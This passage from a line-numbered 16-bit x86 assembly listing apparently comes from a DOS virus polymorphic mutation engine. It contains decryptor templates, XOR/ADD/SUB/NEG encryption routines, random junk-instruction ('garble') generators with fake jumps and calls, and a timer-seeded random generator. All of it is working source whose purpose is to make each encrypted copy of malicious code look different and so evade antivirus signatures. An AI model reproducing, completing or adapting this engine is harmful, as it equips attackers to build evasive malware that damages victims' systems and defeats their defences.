  768.  
  769. routine7:       db      32
  770.                 ; MOV reg1,initial counter      (4)
  771.                 ; MOV reg0,CS                   (1)
  772.                 ; MOV reg7,initial pointer      (3)
  773.                 ; MOV DS,reg0                   (2)
  774.                 ; MOV reg0,encryption value     (E)
  775.                 ; XCHG reg2,reg0                (0C)
  776.                 ; beginning of loop             (0)
  777.                 ; MOV reg2,reg1                 (8)
  778.                 ; DEC reg1                      (D)
  779.                 ; POP reg0                      (0B)
  780.                 ; XOR reg2,reg0                 (F)
  781.                 ; MOV [reg7+offset],reg2        (6)
  782.                 ; DEC reg0                      (03)
  783.                 ; XCHG reg2,reg0                (0C)
  784.                 ; ADD reg7,1                    (04)
  785.                 ; DEC reg1                      (D)
  786.                 ; done                          (-1)
  787.                 ; return code 0                 (0)
  788.                 db      41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0
  789.  
  790. routine5:       db      11
  791.                 ; MOV reg1,initial counter      (4)
  792.                 ; MOV reg7,initial pointer      (3)
  793.                 ; MOV reg0,CS                   (1)
  794.                 ; MOV DS,reg0                   (2)
  795.                 ; MOV reg0,encryption value     (E)
  796.                 ; XOR reg2,reg0                 (F)
  797.                 ; beginning of loop             (0)
  798.                 ; NEG [reg7+offset]             (A)
  799.                 ; MOV reg2,[reg7+offset]        (5)
  800.                 ; XOR reg2,reg0                 (F)
  801.                 ; DEC reg1                      (D)
  802.                 ; DEC reg0                      (03)
  803.                 ; DEC reg0                      (03)
  804.                 ; XCHG reg2,reg0                (0C)
  805.                 ; XCHG reg0,[reg7+offset]       (01)
  806.                 ; XCHG reg2,reg0                (0C)
  807.                 ; ADD reg7,1                    (04)
  808.                 ; AND reg1,reg1                 (0F)
  809.                 ; done                          (-1)
  810.                 db      43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1
  811.  
  812. routineB:       db       66
  813.                 ; MOV reg7,initial pointer      (3)
  814.                 ; MOV reg0,CS                   (1)
  815.                 ; MOV reg1,initial counter      (4)
  816.                 ; MOV DS,reg0                   (2)
  817.                 ; MOV reg0,encryption value     (E)
  818.                 ; XOR reg2,reg0                 (F)
  819.                 ; beginning of loop             (0)
  820.                 ; PUSH reg0                     (0A)
  821.                 ; PUSH [reg7+offset]            (08)
  822.                 ; MOV reg2,reg1                 (8)
  823.                 ; MOV reg2,reg1                 (8)
  824.                 ; XCHG reg2,reg0                (0C)
  825.                 ; INC reg0                      (02)
  826.                 ; INC reg0                      (02)
  827.                 ; INC reg0                      (02)
  828.                 ; INC reg0                      (02)
  829.                 ; MOV reg1,reg0                 (0E)
  830.                 ; POP reg0                      (0B)
  831.                 ; XCHG reg2,reg0                (0C)
  832.                 ; POP reg0                      (0B)
  833.                 ; ADD reg2,reg0                 (06)
  834.                 ; PUSH reg0                     (0A)
  835.                 ; XCHG reg2,reg0                (0C)
  836.                 ; PUSH reg0                     (0A)
  837.                 ; POP [reg7+offset]             (09)
  838.                 ; POP reg0                      (0B)
  839.                 ; DEC reg0                      (03)
  840.                 ; INC reg7                      (C)
  841.                 ; XOR reg2,reg0                 (F)
  842.                 ; AND reg1,reg1                 (0F)
  843.                 ; done                          (-1)
  844.                 db      31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0
  845.                 db      60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1
  846.  
  847. routine3:       db      4
  848.                 ; MOV reg0,CS                   (1)
  849.                 ; MOV DS,reg0                   (2)
  850.                 ; MOV reg0,encryption value     (E)
  851.                 ; MOV reg2,reg1                 (8)
  852.                 ; MOV reg1,initial counter      (4)
  853.                 ; MOV reg7,initial pointer      (3)
  854.                 ; beginning of loop             (0)
  855.                 ; MOV reg2,reg1                 (8)
  856.                 ; DEC reg1                      (D)
  857.                 ; INC reg2                      (0D)
  858.                 ; XCHG reg2,reg0                (0C)
  859.                 ; MOV reg1,reg0                 (0E)
  860.                 ; XCHG reg2,reg0                (0C)
  861.                 ; XOR [reg7],reg0               (9)
  862.                 ; INC reg7                      (C)
  863.                 ; INC reg0                      (02)
  864.                 ; INC reg0                      (02)
  865.                 ; AND reg1,reg1                 (0F)
  866.                 ; done                          (-1)
  867.                 db      12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20
  868.                 db      0F0,-1
  869.  
  870. routineD:       db      73
  871.                 ; MOV reg7,initial pointer      (3)
  872.                 ; MOV reg0,CS                   (1)
  873.                 ; MOV reg1,initial counter      (4)
  874.                 ; MOV DS,reg0                   (2)
  875.                 ; MOV reg0,encryption value     (E)
  876.                 ; MOV reg1,initial counter      (4)
  877.                 ; beginning of loop             (0)
  878.                 ; DEC reg1                      (D)
  879.                 ; DEC reg1                      (D)
  880.                 ; DEC reg1                      (D)
  881.                 ; NOT [reg7+offset]             (B)
  882.                 ; PUSH reg0                     (0A)
  883.                 ; PUSH [reg7+offset]            (08)
  884.                 ; POP reg0                      (0B)
  885.                 ; XCHG reg2,reg0                (0C)
  886.                 ; POP reg0                      (0B)
  887.                 ; XOR reg2,reg0                 (F)
  888.                 ; MOV [reg7+offset],reg2        (6)
  889.                 ; INC reg0                      (02)
  890.                 ; ADD reg7,1                    (04)
  891.                 ; INC reg0                      (02)
  892.                 ; SUB reg1,1                    (05)
  893.                 ; done                          (-1)
  894.                 db      31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20
  895.                 db      50,-1
  896.  
  897. routine0:       db      20
  898.                 ; MOV reg0,encryption value     (E)
  899.                 ; XCHG reg2,reg0                (0C)
  900.                 ; MOV reg0,CS                   (1)
  901.                 ; MOV reg7,initial pointer      (3)
  902.                 ; MOV DS,reg0                   (2)
  903.                 ; MOV reg1,initial counter      (4)
  904.                 ; beginning of loop             (0)
  905.                 ; XCHG reg0,[reg7+offset]       (01)
  906.                 ; XCHG reg2,reg0                (0C)
  907.                 ; XOR reg2,reg0                 (F)
  908.                 ; DEC reg1                      (D)
  909.                 ; XCHG reg2,reg0                (0C)
  910.                 ; XCHG reg0,[reg7+offset]       (01)
  911.                 ; XCHG reg2,reg0                (0C)
  912.                 ; MOV reg2,reg1                 (8)
  913.                 ; INC reg7                      (C)
  914.                 ; INC reg2                      (0D)
  915.                 ; INC reg2                      (0D)
  916.                 ; INC reg2                      (0D)
  917.                 ; INC reg0                      (02)
  918.                 ; XCHG reg2,reg0                (0C)
  919.                 ; MOV reg1,reg0                 (0E)
  920.                 ; AND reg1,reg1                 (0F)
  921.                 ; done                          (-1)
  922.                 ; return code 0                 (0)
  923.                 db      0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0
  924.                 db      20,0C0,0E0,0F0,-1,0
  925.  
  926. routine6:       db      55
  927.                 ; MOV reg1,initial counter      (4)
  928.                 ; MOV reg7,initial pointer      (3)
  929.                 ; MOV reg0,CS                   (1)
  930.                 ; MOV DS,reg0                   (2)
  931.                 ; MOV reg0,encryption value     (E)
  932.                 ; MOV reg7,initial pointer      (3)
  933.                 ; beginning of loop             (0)
  934.                 ; MOV reg2,[reg7+offset]        (5)
  935.                 ; DEC reg1                      (D)
  936.                 ; SUB reg2,reg0                 (07)
  937.                 ; INC reg0                      (02)
  938.                 ; SUB reg1,1                    (05)
  939.                 ; MOV [reg7+offset],reg2        (6)
  940.                 ; INC reg7                      (C)
  941.                 ; DEC reg1                      (D)
  942.                 ; done                          (-1)
  943.                 db      43,12,0E3,5,0D0,70,20,56,0CDh,-1
  944.  
  945. routineA:       db      47
  946.                 ; MOV reg0,encryption value     (E)
  947.                 ; MOV reg7,initial pointer      (3)
  948.                 ; MOV reg1,initial counter      (4)
  949.                 ; XCHG reg2,reg0                (0C)
  950.                 ; MOV reg0,CS                   (1)
  951.                 ; MOV DS,reg0                   (2)
  952.                 ; beginning of loop             (0)
  953.                 ; PUSH [reg7+offset]            (08)
  954.                 ; POP reg0                      (0B)
  955.                 ; XCHG reg2,reg0                (0C)
  956.                 ; XOR reg2,reg0                 (F)
  957.                 ; MOV [reg7+offset],reg2        (6)
  958.                 ; MOV reg2,reg1                 (8)
  959.                 ; DEC reg1                      (D)
  960.                 ; DEC reg0                      (03)
  961.                 ; INC reg2                      (0D)
  962.                 ; INC reg2                      (0D)
  963.                 ; INC reg2                      (0D)
  964.                 ; XCHG reg2,reg0                (0C)
  965.                 ; MOV reg1,reg0                 (0E)
  966.                 ; ADD reg7,1                    (04)
  967.                 ; AND reg1,reg1                 (0F)
  968.                 ; done                          (-1)
  969.                 ; return code 0                 (0)
  970.                 db      0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0
  971.                 db      0E0,40,0F0,-1,0
  972.  
  973. crypt_table     dw      offset crypt0
  974.                 dw      offset crypt1
  975.                 dw      offset crypt2
  976.                 dw      offset crypt3
  977.                 dw      offset crypt4
  978.                 dw      offset crypt5
  979.                 dw      offset crypt6
  980.                 dw      offset crypt7
  981.  
  982. jmp_table       dw      offset jmp0
  983.                 dw      offset jmp1
  984.                 dw      offset jmp2
  985.                 dw      offset jmp3
  986.  
  987. routine_table:  dw      offset routine0
  988.                 dw      offset routine1
  989.                 dw      offset routine2
  990.                 dw      offset routine3
  991.                 dw      offset routine4
  992.                 dw      offset routine5
  993.                 dw      offset routine6
  994.                 dw      offset routine7
  995.                 dw      offset routine8
  996.                 dw      offset routine9
  997.                 dw      offset routineA
  998.                 dw      offset routineB
  999.                 dw      offset routineC
  1000.                 dw      offset routineD
  1001.                 dw      offset routineE
  1002.                 dw      offset routineF
  1003.  
  1004. encrypt:        cld
  1005.                 push    bx si
  1006.                 mov     bl,[bp.crypt_type]      ; get encryption type
  1007.                 db      83,0E3,0F ; and bx,0F
  1008.                 add     bx,bx
  1009.                 add     bx,offset crypt_table   ; convert to offset
  1010.                 mov     di,[bp.targetptr]       ; set up loop
  1011.                 mov     si,[bp.sourceptr]
  1012.                 mov     cx,[bp.datasize]
  1013.                 mov     dl,[bp.cryptval]
  1014. encrypt_byte:   lodsb
  1015.                 call    word ptr [bx]
  1016.                 stosb
  1017.                 loop    encrypt_byte
  1018.                 pop     si bx
  1019.                 retn
  1020.  
  1021. crypt0:         xor     al,dl
  1022.                 inc     dl
  1023.                 retn
  1024.  
  1025. crypt2:         xor     dl,al
  1026.                 mov     al,dl
  1027.                 dec     dl
  1028.                 retn
  1029.  
  1030. crypt3:         not     al
  1031. crypt4:         xor     al,dl
  1032.                 inc     dl
  1033.                 inc     dl
  1034.                 retn
  1035.  
  1036. crypt1:         xor     al,dl
  1037.                 neg     al
  1038.                 dec     dl
  1039.                 dec     dl
  1040.                 retn
  1041.  
  1042. crypt5:         add     al,dl
  1043.                 inc     dl
  1044.                 retn
  1045.  
  1046. crypt6:         sub     al,dl
  1047.                 dec     dl
  1048.                 retn
  1049.  
  1050. crypt7:         xor     al,dl
  1051.                 dec     dl
  1052.                 retn
  1053.  
  1054. counterinit0:   neg     ax
  1055. counterinit1:   retn
  1056.  
  1057. counterinit2:   neg     ax
  1058. counterinit3:   add     ax,ax
  1059.                 retn
  1060.  
  1061. counterinit4:   neg     ax
  1062. counterinit5:   mov     cx,ax
  1063.                 add     ax,ax
  1064.                 add     ax,cx
  1065.                 retn
  1066.  
  1067. counterinit6:   neg     ax
  1068. counterinit7:   add     ax,ax
  1069.                 add     ax,ax
  1070.                 retn
  1071.  
  1072. jmp0:           mov     al,0E9                  ; encode a JMP
  1073.                 stosb                           ; (with word offset)
  1074.                 mov     ax,di                   ; calculate offset to
  1075.                 sub     ax,[bp.loop_top]        ; top of decryption loop
  1076.                 inc     ax                      ; adjust for jmp instruction
  1077.                 inc     ax
  1078.                 neg     ax                      ; adjust for going back instead
  1079.                 retn                            ; of forwards
  1080.  
  1081. jmp1:           mov     ax,0E0FF                ; encode JMP register
  1082.                 or      ah,[si]
  1083.                 retn
  1084.  
  1085. jmp2:           mov     ax,0C350                ; encode PUSH/RETn
  1086. jmpXdone:       or      al,[si]
  1087.                 retn
  1088.  
  1089. jmp3:           mov     al,0E                   ; encode PUSH CS
  1090.                 stosb
  1091.                 call    garble_some             ; garble a bit
  1092.                 mov     ax,0CB50                ; encode PUSH reg/RETN
  1093.                 jmp     short jmpXdone
  1094.  
  1095. encode_routine: call    rnd_get                 ; pick a random routine
  1096.                 mov     bx,offset routine_table ; to use
  1097.                 and     ax,0F
  1098.                 add     ax,ax
  1099.                 add     bx,ax
  1100.                 mov     si,[bx]
  1101.                 lodsb                           ; get the first byte
  1102.                 mov     [bp.crypt_type],al      ; and save it
  1103.                 jmp     short encode_routine2   ; keep going...
  1104.  
  1105. encode_it:      lodsb                           ; get the next byte
  1106.                 cmp     ah,-1                   ; are we done?
  1107.                 je      use_as_is               ; if so, exit
  1108.                 xor     bh,bh                   ; convert AL to
  1109.                 add     al,al                   ; offset in encode_table
  1110.                 mov     bl,al
  1111.                 add     bx,offset encode_table
  1112.                 mov     al,dh
  1113.                 mov     cx,3
  1114.                 call    word ptr [bx]           ; call the routine
  1115.                 xchg    ah,al
  1116.                 stosb                           ; write the resulting byte
  1117. use_as_is:      retn
  1118.  
  1119. fill_mod_field: ror     al,cl
  1120. fill_field:     and     al,7                    ; get the register # al
  1121.                 mov     bx,bp
  1122.                 db      83,0C3,06 ; add bx,6
  1123.                 xlat
  1124.                 rol     al,cl
  1125.                 and     cl,cl                   ; encoding rm or reg?
  1126.                 jnz     not_memory              ; branch if doing rm
  1127.                 test    dh,40                   ; memory access?
  1128.                 jz      not_memory
  1129.                 cmp     al,3                    ; using bx?
  1130.                 jne     not_BX
  1131.                 mov     al,7                    ; change it to di
  1132.                 jmp     short not_memory
  1133. not_BX:         cmp     al,6                    ; is it si?
  1134.                 jb      not_memory
  1135.                 sub     al,2                    ; change it to double register
  1136. not_memory:     or      ah,al
  1137.                 retn
  1138.  
  1139. fill_reg_reg1:  ror     al,cl                   ; [reg], reg
  1140. fill_reg_field: xor     cl,cl                   ; fill bottom 3 bits only
  1141.                 jmp     short fill_field
  1142.  
  1143. fill_mod_n_reg: call    fill_mod_field          ; fill mod field as usual
  1144.                 mov     al,dh                   ; fill reg field with the
  1145.                 jmp     short fill_reg_field    ; register that holds the
  1146.                                                 ; data to be decrypted
  1147. fill_reg_reg2:  call    fill_field
  1148.                 mov     al,dh
  1149.                 jmp     short fill_reg_reg1
  1150.  
  1151. encode_routine2:mov     word ptr [bp.which_tbl],offset encode_tbl1 - 6
  1152. process_all:    lodsb                           ; get a byte
  1153.                 cmp     al,-1                   ; are we at the end?
  1154.                 jne     process_byte            ; no, keep going
  1155.                 lodsb                           ; else get returncode and exit
  1156.                 retn
  1157.  
  1158. process_byte:   push    si ax
  1159.                 mov     cl,4
  1160.                 call    process_nibble
  1161.                 xor     cl,cl
  1162.                 pop     ax
  1163.                 call    process_nibble
  1164.                 pop     si
  1165.                 jmp     short process_all
  1166.  
  1167. process_nibble: ror     al,cl                   ; only use the part of
  1168.                 and     ax,0F                   ; the byte that we want
  1169.                 jnz     no_switch_table
  1170.                 and     cl,cl                   ; if the lower half of byte=0,
  1171.                 jz      switch_tables           ; switch tables
  1172.                 mov     [bp.loop_top],di        ; otherwise save this location
  1173.                 retn                            ; as the top of the loop
  1174.  
  1175. switch_tables:  mov     word ptr [bp.which_tbl],offset encode_tbl2 - 6
  1176.                 retn
  1177.  
  1178. no_switch_table:push    ax
  1179.                 call    garble_more
  1180.                 pop     ax
  1181.                 add     ax,ax                   ; calculate AX*6+[bp.which_tbl]
  1182.                 mov     bx,ax
  1183.                 add     ax,ax
  1184.                 add     ax,bx
  1185.                 add     ax,[bp.which_tbl]
  1186.                 mov     word ptr [bp.which_tbl],offset encode_tbl1 - 6
  1187.                 xchg    si,ax
  1188.                 lodsb
  1189.                 mov     dh,al                   ; dh holds first byte
  1190.                 lodsb
  1191.                 xchg    ah,al                   ; ah holds second byte
  1192.                 call    encode_it               ; process it
  1193.                 lodsb                           ; now ah holds the next byte
  1194.                 xchg    ah,al
  1195.                 call    encode_it               ; process it
  1196.  
  1197.                 lodsb                           ; get the next byte
  1198.                 mov     dl,al                   ; it tells us which
  1199.                 and     ax,0F                   ; value to write in
  1200.                 add     ax,ax                   ; this is the modifier
  1201.                 add     ax,offset write_table   ; i.e. pointer, encryption
  1202.                 xchg    bx,ax                   ; value, etc.
  1203.                 jmp     word ptr [bx]
  1204.  
  1205. write_nothing:  retn
  1206.  
  1207. write_cryptval: mov     al,[bp.cryptval]
  1208.                 stosb
  1209.                 retn
  1210.  
  1211. write_pointer_patch:    ; save location of pointer initialisation
  1212.                 mov     [bp.pointer_patch],di
  1213.                 stosw
  1214.                 retn
  1215.  
  1216. write_counter_patch:    ; save location of counter initialisation
  1217.                 mov     [bp.counter_patch],di
  1218.                 stosw
  1219.                 retn
  1220.  
  1221. write_ptr_offset:       ; write XXXX of [bx+XXXX]
  1222.                 mov     ax,[bp.ptr_offsets]
  1223.                 mov     [bp.pointer_fixup],ax
  1224.                 stosw
  1225.                 retn
  1226.  
  1227. write_dl:       mov     al,dl                   ; write lower half of top
  1228.                 mov     cl,4                    ; byte of dl as a word
  1229.                 shr     al,cl                   ; used as amount to increment
  1230.                 and     ax,0F
  1231.                 stosw
  1232.                 retn
  1233.  
  1234. garble_some:    push    si
  1235.                 mov     dx,3                    ; garble 2-5 times
  1236.                 call    multiple_garble
  1237.                 pop     si
  1238.                 retn
  1239.  
  1240. garble_more:    mov     dx,7
  1241. multiple_garble:call    rnd_get
  1242.                 and     ax,dx
  1243.                 inc     ax
  1244.                 inc     ax
  1245.                 xchg    cx,ax
  1246. garble_again:   push    cx                      ; save garble count
  1247.                 call    garble_once             ; garble
  1248.                 pop     cx                      ; restore garble count
  1249.                 loop    garble_again
  1250.  
  1251.                 cmp     [bp.cJMP_patch],cx      ; cJMP_patch == 0? i.e. is
  1252.                 je      skip_finish_cJMP        ; there an unfinished cJMP?
  1253.                 call    finish_cJMP             ; if so, finish it
  1254. skip_finish_cJMP:call   many_nonbranch_garble   ; garble garble
  1255.                 mov     bx,[bp.nJMP_patch]      ; check if pending nJMP
  1256.                 and     bx,bx
  1257.                 jnz     loc_0047                ; if so, keep going
  1258.                 retn
  1259. loc_0047:                                       ;  xref 4028:0996
  1260.                 mov     al,0C3                  ; encode a RETN
  1261.                 stosb
  1262.                 mov     ax,di
  1263.                 sub     ax,bx
  1264.                 dec     ax
  1265.                 dec     ax
  1266.                 mov     [bx],ax
  1267.                 mov     [bp.CALL_patch],bx
  1268.                 mov     word ptr [bp.nJMP_patch],0
  1269.  
  1270. many_nonbranch_garble:
  1271.                 call    rnd_get                 ; do large instruction
  1272.                 and     ax,3                    ; garble from 3 to 6 times
  1273.                 add     al,3
  1274.                 xchg    cx,ax
  1275. many_nonbranch_garble_loop:
  1276.                 push    cx
  1277.                 call    not_branch_garble
  1278.                 pop     cx
  1279.                 loop    many_nonbranch_garble_loop
  1280.  
  1281.                 retn
  1282.  
  1283. ; finish_cJMP simply encodes a few instructions between the conditional
  1284. ; jmp and its target, and then sets the destination of the jmp to be after
  1285. ; the inserted instructions.
  1286. finish_cJMP:    mov     ax,di                   ; get current location
  1287.                 mov     bx,[bp.cJMP_patch]      ; get previous location
  1288.                 sub     ax,bx
  1289.                 dec     al                      ; calculate offset
  1290.                 jnz     go_patch_cJMP           ; if nothing in between,
  1291.                 call    not_branch_garble       ; fill in some instructions
  1292.                 jmp     short finish_cJMP       ; and do this again
  1293. go_patch_cJMP:  cmp     ax,7F                   ; are we close enough?
  1294.                 jbe     patch_cJMP              ; if so, finish this now
  1295.                 xor     al,al                   ; if not, encode cJMP $+2
  1296. patch_cJMP:     mov     [bx],al                 ; patch the cJMP destination
  1297.                 mov     word ptr [bp.cJMP_patch],0 ; clear usage flag
  1298.                 retn
  1299.  
  1300. set_reg_mask:   and     cl,0F8                  ; clear bottom 3 bits
  1301.                 mov     bx,bp
  1302.                 db      83,0C3,6 ; add bx,6
  1303.                 mov     dh,7                    ; assume one of 8 registers
  1304.                 test    dl,4                    ; can we use any register?
  1305.                 jnz     set_reg_mask_exit       ; if so, quit
  1306.                 db      83,0C3,3 ; add bx,3     ; otherwise, set mask so we
  1307.                 mov     dh,3                    ; only choose from regs 3-6
  1308. set_reg_mask_exit:
  1309.                 retn
  1310.  
  1311. choose_register:call    rnd_get                 ; get random number
  1312.                 xor     ah,ah                   ; clear high byte
  1313.                 and     al,dh                   ; use mask from set_reg_mask
  1314.                 add     bx,ax
  1315.                 mov     al,[bx]                 ; get the register number
  1316.                 test    ch,1                    ; byte or word register?
  1317.                 jnz     choose_reg_done         ; if word, we are okay
  1318.                 test    byte ptr [si-2],4       ; otherwise, check if we can
  1319.                 jnz     choose_reg_done         ; take only half the register
  1320.                 mov     ah,al                   ; uh oh, we can't, so...
  1321.                 and     al,3                    ; is it one of the garbage
  1322.                 cmp     al,[bp+9]               ; registers?
  1323.                 mov     al,ah                   ; if so, we are done
  1324.                 jz      choose_reg_done
  1325.                 mov     al,[bp+9]
  1326.                 cmp     al,4                    ; ax,cx,dx, or bx?
  1327.                 jb      werd                    ; to yer muthah!
  1328.                 pop     ax                      ; pop off return location
  1329.                 retn                            ; go to caller's caller
  1330.  
  1331. werd:           and     ah,4                    ; make either byte or word
  1332.                 or      al,ah                   ; register
  1333. choose_reg_done:retn
  1334.  
  1335. garble_once:    call    rnd_get
  1336.                 cmp     ah,0C8                  ; randomly go to either
  1337.                 jbe     other_garble            ; here ...
  1338.                 jmp     branch_garble           ; ... or here
  1339.  
  1340. not_branch_garble:
  1341.                 call    rnd_get
  1342. other_garble:   cmp     al,0F0
  1343.                 jbe     larger_instr            ; mostly do larger instructions
  1344.                 jmp     do_one_byte             ; 1/16 chance
  1345.  
  1346. larger_instr:   and     ax,1F                   ; normalise random number
  1347.                 cmp     al,[bp.lastgarble]      ; is it the same as before?
  1348.                 je      not_branch_garble       ; then try again, since we
  1349.                                                 ; don't want two of the same
  1350.                                                 ; sort in a row
  1351.                 mov     [bp.lastgarble],al      ; else remember this one
  1352.                 add     ax,ax                   ; and process it
  1353.                 add     ax,offset garble_table
  1354.                 xchg    si,ax
  1355.                 lodsw                           ; get table entry
  1356.                 xchg    cx,ax                   ; keep it in CX
  1357.                 mov     dl,cl                   ; pick out the bottom
  1358.                 and     dl,3                    ; mask out low 2 bits
  1359.                 call    rnd_get
  1360.                 and     al,3                    ; this line unnecessary
  1361.                 and     al,dl                   ; patch it into the top
  1362.                 or      ch,al                   ; byte for variable opcodes
  1363.                                                 ; (e.g. allows byte & word
  1364.                                                 ;  forms of opcode to use the
  1365.                                                 ;  same table entry)
  1366.                 mov     dl,cl
  1367.                 and     dl,0C0                  ; mask out mod field
  1368.                 cmp     dl,0C0                  ; does it indicate register
  1369.                 mov     dl,cl                   ; operation? i.e. 2 regs
  1370.                 jz      no_memory               ; if so, branch
  1371.                 call    set_reg_mask            ; otherwise, process memory
  1372.                 call    rnd_get                 ; and register operation
  1373.                 and     al,0C0                  ; clear all but top 2 bits
  1374.                 or      cl,al                   ; fill in the field
  1375.                 rol     al,1
  1376.                 rol     al,1
  1377.                 mov     dl,al
  1378.                 call    rnd_get                 ; generate the registers to use
  1379.                 and     al,7                    ; in memory access,i.e. [bx+si]
  1380.                 or      cl,al                   ; patch into 2nd byte of instr
  1381.                 cmp     dl,3
  1382.                 je      fill_in_rm
  1383.                 cmp     al,6
  1384.                 jne     force_byte
  1385.                 mov     dl,2                    ; alter mask to choose AX or DX
  1386.                 and     cl,3F
  1387.                 jmp     short fill_in_rm
  1388.  
  1389. force_byte:     and     ch,not 1                ; change to byte data
  1390.                                                 ; "byte sized"
  1391. fill_in_rm:     call    choose_register         ; move register into
  1392.                 shl     al,1                    ; the rm field
  1393.                 shl     al,1
  1394.                 shl     al,1
  1395. finish_larger:  or      cl,al                   ; combine data
  1396.                 xchg    cx,ax                   ; move it to the right register
  1397.                 xchg    ah,al                   ; reverse byte order
  1398.                 stosw                           ; write the instruction
  1399.                 and     dl,dl                   ; needs data bytes?
  1400.                 jnz     needs_data
  1401.                 retn
  1402.  
  1403. needs_data:     cmp     dl,3                    ; check length of instruction
  1404.                 jne     do_data_bytes
  1405.                 retn
  1406.  
  1407. do_data_bytes:  call    rnd_get                 ; keep the random number
  1408.                 and     al,3F                   ; under 40h
  1409.                 stosb                           ; write the byte
  1410.                 dec     dl                      ; decrement bytes to write
  1411.                 jnz     do_data_bytes
  1412.                 retn
  1413.  
  1414. no_memory:      call    set_reg_mask
  1415.                 call    choose_register
  1416.                 mov     ah,ch                   ; get the opcode and clear the
  1417.                 and     ah,0FE                  ; size bit for now
  1418.                 cmp     ah,0F6
  1419.                 jne     not_NOT_NEG
  1420.                 test    cl,10                   ; is it TEST instruction?
  1421.                 jz      not_NOT_NEG             ; if it is, go find the number
  1422.                                                 ; of data bytes it needs, else
  1423.                                                 ; it is NOT or NEG, so there're
  1424. no_data_bytes:  xor     dl,dl                   ; no data bytes
  1425.                 jmp     short finish_larger
  1426.  
  1427. not_NOT_NEG:    and     ah,0FC                  ; is it a shift or rotate?
  1428.                 cmp     ah,0D0
  1429.                 jne     set_data_length         ; if not, calculate # data
  1430.                                                 ; bytes needed, else
  1431.                 jmp     short no_data_bytes     ; we don't need any
  1432.  
  1433. set_data_length:test    ch,1                    ; byte or word of data?
  1434.                 mov     dl,2                    ; assume word
  1435.                 jnz     finish_larger           ; continue if so
  1436.                 dec     dl                      ; DEC DX is better!!!
  1437.                 jmp     short finish_larger     ; otherwise adjust to data
  1438.  
  1439. do_one_byte:    and     al,7
  1440.                 mov     bx,offset onebyte_table
  1441.                 xlat
  1442.                 cmp     al,48                   ; DEC?
  1443.                 je      inc_or_dec
  1444.                 cmp     al,40                   ; or INC?
  1445.                 jne     encode_1byte
  1446. inc_or_dec:     mov     cl,al
  1447.                 call    rnd_get                 ; get a garbage register
  1448.                 and     al,3
  1449.                 mov     bx,bp                   ; can we say "lea", boys and
  1450.                 db      83,0C3,9 ; add bx,9     ; girls?
  1451.                 xlat                            ; look up the register
  1452.                 or      al,cl                   ; fill in the register field
  1453. encode_1byte:   stosb
  1454.                 retn
  1455.  
  1456. branch_garble:  cmp     word ptr [bp.cJMP_patch],0 ; is there an unfinished
  1457.                 je      no_pending_cJMP         ; conditional jmp?
  1458.                 jmp     finish_cJMP             ; if so, finish it
  1459.  
  1460. no_pending_cJMP:call    rnd_get
  1461.                 cmp     ah,6E
  1462.                 ja      do_near_JMP
  1463. do_cond_jmp:    and     al,0F                   ; encode a conditional
  1464.                 or      al,70                   ; jmp
  1465.                 stosb
  1466.                 mov     [bp.cJMP_patch],di      ; save target offset
  1467.                 stosb
  1468.                 retn
  1469.  
  1470. do_near_JMP:    cmp     word ptr [bp.nJMP_patch],0 ; is there an unfinished
  1471.                 jne     do_cond_jmp             ; near JMP pending?
  1472.                 call    rnd_get                 ; if not, encode one
  1473.                 cmp     al,78                   ; either just jmp past
  1474.                 jbe     encode_CALL             ; or call it too
  1475.                 mov     al,0E9                  ; encode near JMP
  1476.                 stosb
  1477.                 mov     [bp.nJMP_patch],di      ; save location to patch
  1478.                 stosw
  1479.                 call    rnd_get
  1480.                 cmp     al,0AA
  1481.                 jbe     forward_CALL
  1482. go_not_branch_garble:
  1483.                 jmp     not_branch_garble
  1484.  
  1485. forward_CALL:   cmp     word ptr [bp.last_CALL],0 ; is there a garbage CALL
  1486.                 je      go_not_branch_garble    ; we can patch?
  1487.                 push    di                      ; if there is, patch the CALL
  1488.                 xchg    di,ax                   ; for here so there are CALLs
  1489.                 dec     ax                      ; forwards as well as back-
  1490.                 dec     ax                      ; wards
  1491.                 mov     di,[bp.last_CALL]
  1492.                 sub     ax,di
  1493.                 stosw
  1494.                 pop     di
  1495.                 jmp     not_branch_garble
  1496.  
  1497. encode_CALL:    cmp     word ptr [bp.CALL_patch],0 ; is there one pending?
  1498.                 je      do_cond_jmp
  1499.                 mov     al,0E8                  ; encode a CALL
  1500.                 stosb
  1501.                 cmp     word ptr [bp.last_CALL],0
  1502.                 je      store_CALL_loc
  1503.                 call    rnd_get                 ; 1/2 chance of replacing
  1504.                 and     al,7                    ; it (random so it's not
  1505.                 cmp     al,4                    ; too predictable)
  1506.                 jae     fill_in_offset
  1507. store_CALL_loc: mov     [bp.last_CALL],di       ; save ptr to CALL offset
  1508. fill_in_offset: mov     ax,di                   ; calculate CALL offset
  1509.                 sub     ax,[bp.CALL_patch]
  1510.                 neg     ax
  1511.                 stosw
  1512.                 retn
  1513.  
  1514. rnd_init:       mov     ah,2C                   ; get time
  1515.                 int     21
  1516.  
  1517.                 mov     ax,3E1
  1518.                 mul     dx
  1519.                 add     ax,cx
  1520.                 xchg    cx,ax
  1521.                 in      ax,40                   ; timer port
  1522.                 add     ax,cx
  1523.                 mov     [bp.rng_buffer],ax
  1524.                 retn
  1525.  
  1526.  
  1527. rnd_get:        push    bx cx dx
  1528.                 mov     ax,[bp.rng_buffer]
  1529.                 mov     cx,3E1
  1530.                 mul     cx
  1531.                 mov     cx,ax
  1532.                 xor     dx,dx
  1533.                 mov     bx,35
  1534.                 div     bx
  1535.                 add     dx,cx
  1536.                 js      no_fix_seed1
  1537.                 in      ax,40                   ; port 40, 8253 timer 0 clock
  1538.                 add     dx,ax
  1539. no_fix_seed1:   cmp     dx,[bp.rng_buffer]
  1540.                 jne     no_fix_seed2
  1541.                 neg     dx
  1542.                 in      ax,40                   ; port 40, 8253 timer 0 clock
  1543.                 xor     dx,ax
  1544. no_fix_seed2:   mov     [bp.rng_buffer],dx
  1545.                 xchg    dx,ax
  1546.                 pop     dx cx bx
  1547.                 retn
  1548. heap:
  1549.  
  1550. data_area       db      02dh dup (?)
  1551. target_area:
  1552.  
